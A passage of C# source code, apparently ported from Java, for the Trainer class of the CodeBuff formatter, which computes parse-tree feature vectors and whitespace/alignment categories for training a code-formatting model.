injectWhitespace[i] and align[i] tell us /// the decisions associated with that context in a corpus file. /// After calling <seealso cref="#computeFeatureVectors()"/>, those lists /// /// There is no shared state computed by this object, only static defs /// of feature types and category constants. /// </summary> public class Trainer { public const double MAX_WS_CONTEXT_DIFF_THRESHOLD = 0.12; //1.0/7; public const double MAX_ALIGN_CONTEXT_DIFF_THRESHOLD = 0.15; public const double MAX_CONTEXT_DIFF_THRESHOLD2 = 0.50; /// <summary> /// When computing child indexes, we use this value for any child list /// element other than the first one. If a parent has just one X child, /// we use the actual child index. If parent has two or more X children, /// and we are not the first X, use CHILD_INDEX_REPEATED_ELEMENT. If first /// of two or more X children, use actual child index. /// </summary> public const int CHILD_INDEX_REPEATED_ELEMENT = 1111111111; //1_111_111_111; public const int LIST_PREFIX = 0; public const int LIST_FIRST_ELEMENT = 1; public const int LIST_FIRST_SEPARATOR = 2; public const int LIST_SEPARATOR = 3; public const int LIST_SUFFIX = 4; public const int LIST_MEMBER = 1111111111; //1_111_111_111; // Feature values for pair starts lines feature either T/F or: public const int NOT_PAIR = -1; // Categories for newline, whitespace. CAT_INJECT_NL+n<<8 or CAT_INJECT_WS+n<<8 public const int CAT_NO_WS = 0; public const int CAT_INJECT_NL = 100; public const int CAT_INJECT_WS = 200; // Categories for alignment/indentation public const int CAT_ALIGN = 0; /* We want to identify alignment with a child's start token of some parent but that parent could be a number of levels up the tree. The next category values indicate alignment from the current token's left ancestor's parent then it's parent and so on. For category value: CAT_ALIGN_WITH_ANCESTOR_CHILD | delta<<8 | childindex<<16 current token is aligned with start token of child childindex, delta levels up from ancestor. */ public const int CAT_ALIGN_WITH_ANCESTOR_CHILD = 10; /* We want to identify indentation from a parent's start token but that parent could be a number of levels up the tree. The next category values indicate indentation from the current token's left ancestor's parent then it's parent and so on. For category value: CAT_INDENT_FROM_ANCESTOR_FIRST_TOKEN | delta<<8 current token is indented from start token of node i levels up from ancestor. */ public const int CAT_INDENT_FROM_ANCESTOR_CHILD = 20; // left ancestor's first token is really current token public const int CAT_INDENT = 30; // indexes into feature vector public const int INDEX_PREV_TYPE = 0; public const int INDEX_PREV_FIRST_ON_LINE = 1; // a \n right before this token? public const int INDEX_PREV_EARLIEST_RIGHT_ANCESTOR = 2; public const int INDEX_CUR_TOKEN_TYPE = 3; public const int INDEX_MATCHING_TOKEN_STARTS_LINE = 4; public const int INDEX_MATCHING_TOKEN_ENDS_LINE = 5; public const int INDEX_FIRST_ON_LINE = 6; // a \n right before this token? public const int INDEX_MEMBER_OVERSIZE_LIST = 7; // -1 if we don't know; false means list but not big list public const int INDEX_LIST_ELEMENT_TYPE = 8; // see LIST_PREFIX, etc... public const int INDEX_CUR_TOKEN_CHILD_INDEX = 9; // left ancestor public const int INDEX_EARLIEST_LEFT_ANCESTOR = 10; public const int INDEX_ANCESTORS_CHILD_INDEX = 11; // left ancestor public const int INDEX_ANCESTORS_PARENT_RULE = 12; public const int INDEX_ANCESTORS_PARENT_CHILD_INDEX = 13; public const int INDEX_ANCESTORS_PARENT2_RULE = 14; public const int INDEX_ANCESTORS_PARENT2_CHILD_INDEX = 15; public const int INDEX_ANCESTORS_PARENT3_RULE = 16; public const int INDEX_ANCESTORS_PARENT3_CHILD_INDEX = 17; public const int INDEX_ANCESTORS_PARENT4_RULE = 18; public const int INDEX_ANCESTORS_PARENT4_CHILD_INDEX = 19; public const int INDEX_ANCESTORS_PARENT5_RULE = 20; public const int INDEX_ANCESTORS_PARENT5_CHILD_INDEX = 21; public const int INDEX_INFO_FILE = 22; public const int INDEX_INFO_LINE = 23; public const int INDEX_INFO_CHARPOS = 24; public const int NUM_FEATURES = 25; public const int ANALYSIS_START_TOKEN_INDEX = 1; // we use current and previous token in context so can't start at index 0 public static readonly FeatureMetaData[] FEATURES_INJECT_WS = new FeatureMetaData[] { new FeatureMetaData(FeatureType.TOKEN, new string[] {"", "LT(-1)"}, 1), new FeatureMetaData(FeatureType.BOOL, new string[] {"Strt", "line"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"LT(-1)", "right ancestor"}, 1), new FeatureMetaData(FeatureType.TOKEN, new string[] {"", "LT(1)"}, 1), new FeatureMetaData(FeatureType.BOOL, new string[] {"Pair", "strt\\n"}, 1), new FeatureMetaData(FeatureType.BOOL, new string[] {"Pair", "end\\n"}, 1), FeatureMetaData.UNUSED, new FeatureMetaData(FeatureType.BOOL, new string[] {"Big", "list"}, 2), new FeatureMetaData(FeatureType.INT, new string[] {"List", "elem."}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"token", "child index"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"LT(1)", "left ancestor"}, 1), FeatureMetaData.UNUSED, new FeatureMetaData(FeatureType.RULE, new string[] {"", "parent"}, 1), FeatureMetaData.UNUSED, FeatureMetaData.UNUSED, FeatureMetaData.UNUSED, FeatureMetaData.UNUSED, FeatureMetaData.UNUSED, FeatureMetaData.UNUSED, FeatureMetaData.UNUSED, FeatureMetaData.UNUSED, FeatureMetaData.UNUSED, new FeatureMetaData(FeatureType.INFO_FILE, new string[] {"", "file"}, 0), new FeatureMetaData(FeatureType.INFO_LINE, new string[] {"", "line"}, 0), new FeatureMetaData(FeatureType.INFO_CHARPOS, new string[] {"char", "pos"}, 0) }; public static readonly FeatureMetaData[] FEATURES_HPOS = new FeatureMetaData[] { FeatureMetaData.UNUSED, FeatureMetaData.UNUSED, new FeatureMetaData(FeatureType.RULE, new string[] {"LT(-1)", "right ancestor"}, 1), new FeatureMetaData(FeatureType.TOKEN, new string[] {"", "LT(1)"}, 1), FeatureMetaData.UNUSED, FeatureMetaData.UNUSED, new FeatureMetaData(FeatureType.BOOL, new string[] {"Strt", "line"}, 4), new FeatureMetaData(FeatureType.BOOL, new string[] {"Big", "list"}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"List", "elem."}, 2), new FeatureMetaData(FeatureType.INT, new string[] {"token", "child index"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"LT(1)", "left ancestor"}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"ancestor", "child index"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"", "parent"}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"parent", "child index"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"", "parent^2"}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"parent^2", "child index"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"", "parent^3"}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"parent^3", "child index"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"", "parent^4"}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"parent^4", "child index"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"", "parent^5"}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"parent^5", "child index"}, 1), new FeatureMetaData(FeatureType.INFO_FILE, new string[] {"", "file"}, 0), new FeatureMetaData(FeatureType.INFO_LINE, new string[] {"", "line"}, 0), new FeatureMetaData(FeatureType.INFO_CHARPOS, new string[] {"char", "pos"}, 0) }; public static readonly FeatureMetaData[] FEATURES_ALL = new FeatureMetaData[] { new FeatureMetaData(FeatureType.TOKEN, new string[] {"", "LT(-1)"}, 1), new FeatureMetaData(FeatureType.BOOL, new string[] {"Strt", "line"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"LT(-1)", "right ancestor"}, 1), new FeatureMetaData(FeatureType.TOKEN, new string[] {"", "LT(1)"}, 1), new FeatureMetaData(FeatureType.BOOL, new string[] {"Pair", "strt\\n"}, 1), new FeatureMetaData(FeatureType.BOOL, new string[] {"Pair", "end\\n"}, 1), new FeatureMetaData(FeatureType.BOOL, new string[] {"Strt", "line"}, 1), new FeatureMetaData(FeatureType.BOOL, new string[] {"Big", "list"}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"List", "elem."}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"token", "child index"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"LT(1)", "left ancestor"}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"ancestor", "child index"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"", "parent"}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"parent", "child index"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"", "parent^2"}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"parent^2", "child index"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"", "parent^3"}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"parent^3", "child index"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"", "parent^4"}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"parent^4", "child index"}, 1), new FeatureMetaData(FeatureType.RULE, new string[] {"", "parent^5"}, 1), new FeatureMetaData(FeatureType.INT, new string[] {"parent^5", "child index"}, 1), new FeatureMetaData(FeatureType.INFO_FILE, new string[] {"", "file"}, 0), new FeatureMetaData(FeatureType.INFO_LINE, new string[] {"", "line"}, 0), new FeatureMetaData(FeatureType.INFO_CHARPOS, new string[] {"char", "pos"}, 0) }; protected internal Corpus corpus; protected internal InputDocument doc; protected internal ParserRuleContext root; protected internal CodeBuffTokenStream tokens; // track stream so we can examine previous tokens protected internal int indentSize; /// <summary> /// Make it fast to get a node for a specific token </summary> protected internal IDictionary<Token, TerminalNode> tokenToNodeMap = null; public Trainer(Corpus corpus, InputDocument doc, int indentSize) { this.corpus = corpus; this.doc = doc; this.root = doc.tree; this.tokenToNodeMap = doc.tokenToNodeMap; this.tokens = doc.tokens; this.indentSize = indentSize; } public virtual void computeFeatureVectors() { IList<Token> realTokens = getRealTokens(tokens); for (int i = ANALYSIS_START_TOKEN_INDEX; i < realTokens.Count; i++) { // can't process first token int tokenIndexInStream = realTokens[i].TokenIndex; computeFeatureVectorForToken(tokenIndexInStream); } } public virtual void computeFeatureVectorForToken(int i) { Token curToken = tokens.Get(i); if (curToken.Type == TokenConstants.EOF) { return; } int[] features = getFeatures(i); int injectNL_WS = getInjectWSCategory(tokens, i); int aligned = -1; // "don't care" if ((injectNL_WS & 0xFF) == CAT_INJECT_NL) { TerminalNode node = tokenToNodeMap[curToken]; aligned = getAlignmentCategory(doc, node, indentSize); } // track feature -> injectws, align decisions for token i corpus.addExemplar(doc, features, injectNL_WS, aligned); } public static int getInjectWSCategory(CodeBuffTokenStream tokens, int i) { int precedingNL = getPrecedingNL(tokens, i); // how many lines to inject Token curToken = tokens.Get(i); Token prevToken = tokens.getPreviousRealToken(i); int ws = 0; if (precedingNL == 0) { ws = curToken.Column - (prevToken.Column + prevToken.Text.Length); } int injectNL_WS = CAT_NO_WS; if (precedingNL > 0) { injectNL_WS = nlcat(precedingNL); } else if (ws > 0) { injectNL_WS = wscat(ws); } return injectNL_WS; } // at a newline, are we aligned with a prior sibling (in a list) etc... public static int getAlignmentCategory(InputDocument doc, TerminalNode node, int indentSize) { org.antlr.codebuff.misc.Pair<int, int> alignInfo = null; org.antlr.codebuff.misc.Pair<int, int> indentInfo = null; Token curToken = node.Symbol; // at a newline, are we aligned with a prior sibling (in a list) etc... ParserRuleContext earliestLeftAncestor = earliestAncestorStartingWithToken(node); org.antlr.codebuff.misc.Pair<ParserRuleContext, int> alignPair = earliestAncestorWithChildStartingAtCharPos(earliestLeftAncestor, curToken, curToken.Column); // String[] ruleNames = doc.parser.getRuleNames(); // Token prevToken = doc.tokens.getPreviousRealToken(curToken.getTokenIndex()); if (alignPair != null) { int deltaFromLeftAncestor = getDeltaToAncestor(earliestLeftAncestor, alignPair.a); alignInfo = new org.antlr.codebuff.misc.Pair<int, int>(deltaFromLeftAncestor, alignPair.b); // int ruleIndex = pair.a.getRuleIndex(); // System.out.printf("ALIGN %s %s i=%d %s %s\n", // curToken, // ruleNames[ruleIndex], // pair.b, alignInfo, doc.fileName); } // perhaps we are indented as well? int tokenIndexInStream = node.Symbol.TokenIndex; IList<Token> tokensOnPreviousLine = getTokensOnPreviousLine(doc.tokens, tokenIndexInStream, curToken.Line); Token firstTokenOnPrevLine = null; int columnDelta = 0; if (tokensOnPreviousLine.Count > 0) { firstTokenOnPrevLine = tokensOnPreviousLine[0]; columnDelta = curToken.Column - firstTokenOnPrevLine.Column; } org.antlr.codebuff.misc.Pair<ParserRuleContext, int> indentPair = null; if (columnDelta != 0) { int indentedFromPos = curToken.Column - indentSize; indentPair = earliestAncestorWithChildStartingAtCharPos(earliestLeftAncestor, curToken, indentedFromPos); if (indentPair == null) { // try with 2 indents (commented out for now; can't encode how many indents in directive) // indentedFromPos = curToken.getCharPositionInLine()-2*indentSize; // pair = earliestAncestorWithChildStartingAtCharPos(earliestLeftAncestor, curToken, indentedFromPos); } if (indentPair != null) { int deltaFromLeftAncestor = getDeltaToAncestor(earliestLeftAncestor, indentPair.a); indentInfo = new org.antlr.codebuff.misc.Pair<int, int>(deltaFromLeftAncestor, indentPair.b); // int ruleIndex = pair.a.getRuleIndex(); // System.out.printf("INDENT %s %s i=%d %s %s\n", // curToken, // ruleNames[ruleIndex], // pair.b, indentInfo, doc.fileName); } } /* I tried reducing all specific and alignment operations to the generic "indent/align from first token on previous line" directives but the contexts were not sufficiently precise. method bodies got doubly indented when there is a throws clause etc... Might be worth pursuing in the future if I can increase context information regarding exactly what kind of method declaration signature it is. See targetTokenIsFirstTokenOnPrevLine(). */ // If both align and indent from ancestor child exist, choose closest (lowest delta up tree) if (alignInfo != null && indentInfo != null) { if (alignInfo.a < indentInfo.a) { return aligncat(alignInfo.a, alignInfo.b); } // Choose indentation over alignment if both at same ancestor level return indentcat(indentInfo.a, indentInfo.b); // return aligncat(alignInfo.a, alignInfo.b); // Should not use alignment over indentation; manual review of output shows indentation kinda messed up } // otherwise just return the align or indent we computed if (alignInfo != null) { return aligncat(alignInfo.a, alignInfo.b); } else if (indentInfo != null) { return indentcat(indentInfo.a, indentInfo.b); } if (columnDelta != 0) { return CAT_INDENT; // indent standard amount } return CAT_ALIGN; // otherwise just line up with first token of previous line } public static int getPrecedingNL(CommonTokenStream tokens, int i) { int precedingNL = 0; IList<Token> previousWS = getPreviousWS(tokens, i); if (previousWS != null) { foreach (Token ws in previousWS) { precedingNL += Tool.count(ws.Text, '\n'); } } return precedingNL; } // if we have non-ws tokens like comments, we only count ws not in comments public static IList<Token> getPreviousWS(CommonTokenStream tokens, int i) { IList<Token> hiddenTokensToLeft = tokens.GetHiddenTokensToLeft(i); if (hiddenTokensToLeft == null) { return null; } Regex rex = new Regex("^\\s+$"); return BuffUtils.filter(hiddenTokensToLeft, t => rex.IsMatch(t.Text)); } public static bool hasCommentToken(IList<Token> hiddenTokensToLeft) { bool hasComment = false; foreach (Token hidden in hiddenTokensToLeft) { string hiddenText = hidden.Text; Regex rex = new Regex("^\\s+$"); if (!rex.IsMatch(hiddenText)) { hasComment = true; break; } } return hasComment; } /// <summary> /// Return first ancestor of p that is not an only child including p. /// So if p.getParent().getChildCount()>1, this returns p. If we /// have found a chain rule at p's parent (p is its only child), then /// move p to its parent and try again. /// </summary> public static ParserRuleContext getParentClosure(ParserRuleContext p) { if (p == null) { return null; } // if p not an only child, return p if (p.Parent == null || p.Parent.ChildCount > 1) { return p; } // we found a chain rule node return getParentClosure(p.Parent as ParserRuleContext); } /// <summary> /// Walk upwards from node while p.start == token; return null if there is /// no ancestor starting at token. /// </summary> /// <summary> /// Walk upwards from node while p.start == token; return immediate parent /// if there is no ancestor starting at token. This is the earliest /// left ancestor. E.g, for '{' of a block, return parent up the chain from /// block starting with '{'. For '}' of block, return just block as nothing /// starts with '}'. (block stops with it). /// </summary> public static ParserRuleContext earliestAncestorStartingWithToken(TerminalNode node) { Token token = node.Symbol; ParserRuleContext p = (ParserRuleContext)node.Parent; ParserRuleContext prev = null; while (p != null && p.Start == token) { prev = p; p = p.Parent as ParserRuleContext; } if (prev == null) { return (ParserRuleContext)node.Parent; } return prev; } /// <summary> /// Walk upwards from node while p.stop == token; return immediate parent /// if there is no ancestor stopping at token. This is the earliest /// right ancestor. E.g, for '}' of a block, return parent up the chain from /// block stopping with '}'. For '{' of block, return just block as nothing /// stops with '{'. (block starts with it). /// </summary> public static ParserRuleContext earliestAncestorEndingWithToken(TerminalNode node) { Token token = node.Symbol; ParserRuleContext p = (ParserRuleContext)node.Parent; ParserRuleContext prev = null; while (p != null && p.Stop == token) { prev = p; p = p.Parent as ParserRuleContext; } if (prev == null) { return (ParserRuleContext)node.Parent; } return prev; } /// <summary> /// Walk upwards from node until we find a child of p at t's char position. /// Don't see alignment with self, t, or element *after* us. /// return null if there is no such ancestor p. /// </summary> public static org.antlr.codebuff.misc.Pair<ParserRuleContext, int> earliestAncestorWithChildStartingAtCharPos(ParserRuleContext node, Token t, int charpos) { ParserRuleContext p = node; while (p != null) { // check all children of p to see if one of them starts at charpos for (int i = 0; i < p.ChildCount; i++) { ParseTree child = p.GetChild(i); Token start; if (child is ParserRuleContext) { start = ((ParserRuleContext) child).Start; } else { // must be token start = ((TerminalNode)child).Symbol; } // check that we don't see alignment with self or element *after* us if (start.TokenIndex < t.TokenIndex && start.Column == charpos) { return new org.antlr.codebuff.misc.Pair<ParserRuleContext, int>(p,i); } } p = p.Parent as ParserRuleContext; } return null; } /// <summary> /// Return the number of hops to get to ancestor from node or -1 if we /// don't find ancestor on path to root. /// </summary> public static int getDeltaToAncestor(ParserRuleContext node, ParserRuleContext ancestor) { int n = 0; ParserRuleContext p = node; while (p != null && p != ancestor) { n++; p = p.Parent as ParserRuleContext; } if (p == null) { return -1; } return n; } public static ParserRuleContext getAncestor(ParserRuleContext node, int delta) { int n = 0; ParserRuleContext p = node; while (p != null && n != delta) { n++; p = p.Parent as ParserRuleContext; } return p; } public virtual int[] getFeatures(int i) { CodeBuffTokenStream tokens = doc.tokens; TerminalNode node = tokenToNodeMap[tokens.Get(i)]; if (node == null) { Log.WriteLine("### No node associated with token " + tokens.Get(i)); return null; } Token curToken = node.Symbol; Token prevToken = tokens.getPreviousRealToken(i); Token prevPrevToken = prevToken != null ? doc.tokens.getPreviousRealToken(prevToken.TokenIndex) : null; bool prevTokenStartsLine = false; if (prevToken != null && prevPrevToken != null) { prevTokenStartsLine = prevToken.Line > prevPrevToken.Line; } bool curTokenStartsNewLine = false; if (prevToken == null) { curTokenStartsNewLine = true; // we must be at start of file } else if (curToken.Line > prevToken.Line) { curTokenStartsNewLine = true; } int[] features = getContextFeatures(corpus, tokenToNodeMap, doc, i); setListInfoFeatures(corpus.tokenToListInfo, features, curToken); features[INDEX_PREV_FIRST_ON_LINE] = prevTokenStartsLine ? 1 : 0; features[INDEX_FIRST_ON_LINE] = curTokenStartsNewLine ? 1 : 0; return features; } /// <summary> /// Get the token type and tree ancestor features. These are computed /// the same for both training and formatting. /// </summary> public static int[] getContextFeatures(Corpus corpus, IDictionary<Token, TerminalNode> tokenToNodeMap, InputDocument doc, int i) { int[] features = new int[NUM_FEATURES]; CodeBuffTokenStream tokens = doc.tokens; TerminalNode node = tokenToNodeMap[tokens.Get(i)]; if (node == null) { Log.WriteLine("### No node associated with token " + tokens.Get(i)); return features; } Token curToken = node.Symbol; // Get context information for previous token Token prevToken = tokens.getPreviousRealToken(i); TerminalNode prevNode = tokenToNodeMap[prevToken]; ParserRuleContext prevEarliestRightAncestor = earliestAncestorEndingWithToken(prevNode); int prevEarliestAncestorRuleIndex = prevEarliestRightAncestor.RuleIndex; int prevEarliestAncestorRuleAltNum = prevEarliestRightAncestor.getAltNumber(); // Get context information for current token ParserRuleContext earliestLeftAncestor = earliestAncestorStartingWithToken(node); ParserRuleContext earliestLeftAncestorParent = (earliestLeftAncestor != null ? earliestLeftAncestor.Parent : null) as ParserRuleContext; ParserRuleContext earliestLeftAncestorParent2 = (earliestLeftAncestorParent != null ? earliestLeftAncestorParent.Parent : null) as ParserRuleContext; ParserRuleContext earliestLeftAncestorParent3 = (earliestLeftAncestorParent2 != null ? earliestLeftAncestorParent2.Parent : null) as ParserRuleContext; ParserRuleContext earliestLeftAncestorParent4 = (earliestLeftAncestorParent3 != null ? earliestLeftAncestorParent3.Parent : null) as ParserRuleContext; ParserRuleContext earliestLeftAncestorParent5 = (earliestLeftAncestorParent4 != null ? earliestLeftAncestorParent4.Parent : null) as ParserRuleContext; features[INDEX_PREV_TYPE] = prevToken.Type; features[INDEX_PREV_EARLIEST_RIGHT_ANCESTOR] = rulealt(prevEarliestAncestorRuleIndex,prevEarliestAncestorRuleAltNum); features[INDEX_CUR_TOKEN_TYPE] = curToken.Type; features[INDEX_CUR_TOKEN_CHILD_INDEX] = getChildIndexOrListMembership(node); features[INDEX_EARLIEST_LEFT_ANCESTOR] = rulealt(earliestLeftAncestor); features[INDEX_ANCESTORS_CHILD_INDEX] = getChildIndexOrListMembership(earliestLeftAncestor); features[INDEX_ANCESTORS_PARENT_RULE] = earliestLeftAncestorParent != null ? rulealt(earliestLeftAncestorParent) : -1; features[INDEX_ANCESTORS_PARENT_CHILD_INDEX] = getChildIndexOrListMembership(earliestLeftAncestorParent); features[INDEX_ANCESTORS_PARENT2_RULE] = earliestLeftAncestorParent2 != null ? rulealt(earliestLeftAncestorParent2) : -1; features[INDEX_ANCESTORS_PARENT2_CHILD_INDEX] = getChildIndexOrListMembership(earliestLeftAncestorParent2); features[INDEX_ANCESTORS_PARENT3_RULE] = earliestLeftAncestorParent3 != null ? rulealt(earliestLeftAncestorParent3) : -1; features[INDEX_ANCESTORS_PARENT3_CHILD_INDEX] = getChildIndexOrListMembership(earliestLeftAncestorParent3); features[INDEX_ANCESTORS_PARENT4_RULE] = earliestLeftAncestorParent4 != null ? rulealt(earliestLeftAncestorParent4) : -1; features[INDEX_ANCESTORS_PARENT4_CHILD_INDEX] = getChildIndexOrListMembership(earliestLeftAncestorParent4); features[INDEX_ANCESTORS_PARENT5_RULE] = earliestLeftAncestorParent5 != null ? rulealt(earliestLeftAncestorParent5) : -1; features[INDEX_ANCESTORS_PARENT5_CHILD_INDEX] = getChildIndexOrListMembership(earliestLeftAncestorParent5); features[INDEX_MATCHING_TOKEN_STARTS_LINE] = getMatchingSymbolStartsLine(corpus, doc, node); features[INDEX_MATCHING_TOKEN_ENDS_LINE] = getMatchingSymbolEndsLine(corpus, doc, node); features[INDEX_INFO_FILE] = 0; // dummy; _toString() dumps filename w/o this value; placeholder for col in printout features[INDEX_INFO_LINE] = curToken.Line; features[INDEX_INFO_CHARPOS] = curToken.Column; return features; } public static void setListInfoFeatures(IDictionary<Token, org.antlr.codebuff.misc.Pair<bool, int>> tokenToListInfo, int[] features, Token curToken) { int isOversizeList = -1; int listElementType = -1; org.antlr.codebuff.misc.Pair<bool, int> listInfo = null; tokenToListInfo.TryGetValue(curToken, out listInfo); if (listInfo != null) { isOversizeList = listInfo.a ? 1 : 0; listElementType = listInfo.b; } features[INDEX_MEMBER_OVERSIZE_LIST] = isOversizeList; // -1 if we don't know; false means list but not big list features[INDEX_LIST_ELEMENT_TYPE] = listElementType; } public static int getSiblingsLength<T1>(IList<T1> siblings) where T1 : Antlr4.Runtime.ParserRuleContext { int len = 0; foreach (ParserRuleContext sib in siblings) { len += sib.GetText().Length; } return len; } public static string getText<T1>(IList<T1> tokens) where T1 : Antlr4.Runtime.IToken { if (tokens == null) { return ""; } StringBuilder buf = new StringBuilder(); foreach (Token sib in tokens) { buf.Append(sib.Text); } return buf.ToString(); } public static int getMatchingSymbolStartsLine(Corpus corpus, InputDocument doc, TerminalNode node) { TerminalNode matchingLeftNode = getMatchingLeftSymbol(corpus, doc, node); if (matchingLeftNode != null) { Token matchingLeftToken = matchingLeftNode.Symbol; int i = matchingLeftToken.TokenIndex; if (i == 0) { return 1; // first token is considered first on line } Token tokenBeforeMatchingToken = doc.tokens.getPreviousRealToken(i); // System.out.printf("doc=%s node=%s, pair=%s, before=%s\n", // new File(doc.fileName).getName(), node.getSymbol(), matchingLeftToken, tokenBeforeMatchingToken); if (tokenBeforeMatchingToken != null) { return matchingLeftToken.Line > tokenBeforeMatchingToken.Line ? 1 : 0; } else { // matchingLeftToken must be first in file return 1; } } return NOT_PAIR; } public static int getMatchingSymbolEndsLine(Corpus corpus, InputDocument doc, TerminalNode node) { TerminalNode matchingLeftNode = getMatchingLeftSymbol(corpus, doc, node); if (matchingLeftNode != null) { Token matchingLeftToken = matchingLeftNode.Symbol; int i = matchingLeftToken.TokenIndex; Token tokenAfterMatchingToken = doc.tokens.getNextRealToken(i); // System.out.printf("doc=%s node=%s, pair=%s, after=%s\n", // new File(doc.fileName).getName(), node.getSymbol(), matchingLeftToken, tokenAfterMatchingToken); if (tokenAfterMatchingToken != null) { if (tokenAfterMatchingToken.Type == TokenConstants.EOF) { return 1; } return tokenAfterMatchingToken.Line > matchingLeftToken.Line ? 1 : 0; } } return NOT_PAIR; } public static TerminalNode getMatchingLeftSymbol(Corpus corpus, InputDocument doc, TerminalNode node) { ParserRuleContext parent = (ParserRuleContext)node.Parent; int curTokensParentRuleIndex = parent.RuleIndex; Token curToken = node.Symbol; if (corpus.ruleToPairsBag != null) { string ruleName = doc.parser.RuleNames[curTokensParentRuleIndex]; RuleAltKey ruleAltKey = new RuleAltKey(ruleName, parent.getAltNumber()); IList<org.antlr.codebuff.misc.Pair<int, int>> pairs = null; corpus.ruleToPairsBag.TryGetValue(ruleAltKey, out pairs); if (pairs != null) { // Find appropriate pair given current token // If more than one pair (a,b) with b=current token pick first one // or if a common pair like ({,}), then give that one preference. // or if b is punctuation, prefer a that is punct IList<int> viableMatchingLeftTokenTypes = viableLeftTokenTypes(parent, curToken, pairs); Vocabulary vocab = doc.parser.Vocabulary as Vocabulary; if (viableMatchingLeftTokenTypes.Count > 0) { int matchingLeftTokenType = CollectTokenPairs.getMatchingLeftTokenType(curToken, viableMatchingLeftTokenTypes, vocab); IList<TerminalNode> matchingLeftNodes = parent.GetTokens(matchingLeftTokenType); // get matching left node by getting last node to left of current token IList<TerminalNode> nodesToLeftOfCurrentToken = BuffUtils.filter(matchingLeftNodes, n => n.Symbol.TokenIndex < curToken.TokenIndex); TerminalNode matchingLeftNode = nodesToLeftOfCurrentToken[nodesToLeftOfCurrentToken.Count - 1]; if (matchingLeftNode == null) { Log.WriteLine("can't find matching node for " + node.Symbol); } return matchingLeftNode; } } } return null; } public static IList<int> viableLeftTokenTypes(ParserRuleContext node, Token curToken, IList<org.antlr.codebuff.misc.Pair<int, int>> pairs) { IList<int> newPairs = new List<int>(); foreach (org.antlr.codebuff.misc.Pair<int, int> p in pairs) { if (p.b == curToken.Type && node.GetTokens(p.a).Any()) { newPairs.Add(p.a); } } return newPairs; } /// <summary> /// Search backwards from tokIndex into 'tokens' stream and get all on-channel /// tokens on previous line with respect to token at tokIndex. /// return empty list if none found. First token in returned list is /// the first token on the line. /// </summary> public static IList<Token> getTokensOnPreviousLine(CommonTokenStream tokens, int tokIndex, int curLine) { // first find previous line by looking for real token on line < tokens.get(i) int prevLine = 0; for (int i = tokIndex - 1; i >= 0; i--) { Token t = tokens.Get(i); if (t.Channel == TokenConstants.DefaultChannel && t.Line < curLine) { prevLine = t.Line; tokIndex = i; // start collecting at this index break; } } // Now collect the on-channel real tokens for this line IList<Token> online = new List<Token>(); for (int i = tokIndex; i >= 0; i--) { Token t = tokens.Get(i); if (t.Channel == TokenConstants.DefaultChannel) { if (t.Line < prevLine) { break; // found last token on that previous line } online.Add(t); } } online.Reverse(); return online; } public static string _toString(FeatureMetaData[] FEATURES, InputDocument doc, int[] features) { return _toString(FEATURES, doc, features, true); } public static string _toString(FeatureMetaData[] FEATURES, InputDocument doc, int[] features, bool showInfo) { Vocabulary v = doc.parser.Vocabulary as Vocabulary; string[] ruleNames = doc.parser.RuleNames; StringBuilder buf = new StringBuilder(); for (int i = 0; i < FEATURES.Length; i++) { if (FEATURES[i].type.Equals(FeatureType.UNUSED)) { continue; } if (i > 0) { buf.Append(" "); } if (i == INDEX_CUR_TOKEN_TYPE) { buf.Append("| "); // separate prev from current tokens } int displayWidth = FEATURES[i].type.displayWidth; if (FEATURES[i].type == FeatureType.TOKEN) { string tokenName = v.GetDisplayName(features[i]); string abbrev = StringUtils.abbreviateMiddle(tokenName, "*", displayWidth); string centered = StringUtils.center(abbrev, displayWidth); //JAVA TO C# CONVERTER TODO TASK: The following line has a Java format specifier which cannot be directly translated to .NET: //ORIGINAL LINE: buf.append(String.format("%"+displayWidth+"s", centered)); buf.Append(string.Format("%" + displayWidth + "s", centered)); } else if (FEATURES[i].type == FeatureType.RULE) { if (features[i] >= 0) { string ruleName = ruleNames[unrulealt(features[i])[0]]; int ruleAltNum = unrulealt(features[i])[1]; ruleName += ":" + ruleAltNum; var abbrev = StringUtils.abbreviateMiddle(ruleName, "*", displayWidth); buf.Append(string.Format("%" + displayWidth + "s", abbrev)); } else { buf.Append(Tool.sequence(displayWidth, " ")); } } else if (FEATURES[i].type == FeatureType.INT || FEATURES[i].type == FeatureType.INFO_LINE || FEATURES[i].type == FeatureType.INFO_CHARPOS) { if (showInfo) { if (features[i] >= 0) { buf.Append(string.Format("%" + displayWidth + "s", StringUtils.center(features[i].ToString(), displayWidth))); } else { buf.Append(Tool.sequence(displayWidth, " ")); } } } else if (FEATURES[i].type == FeatureType.INFO_FILE) { if (showInfo) { string fname = System.IO.Path.GetFileName(doc.fileName); fname = StringUtils.abbreviate(fname, displayWidth); buf.Append(string.Format("%" + displayWidth + "s", fname)); } } else if (FEATURES[i].type == FeatureType.BOOL) { if (features[i] != -1) { buf.Append(features[i] == 1 ? "true " : "false"); } else { buf.Append(Tool.sequence(displayWidth, " ")); } } else { Log.WriteLine("NO STRING FOR FEATURE TYPE: " + FEATURES[i].type); break; } } return buf.ToString(); } public static string 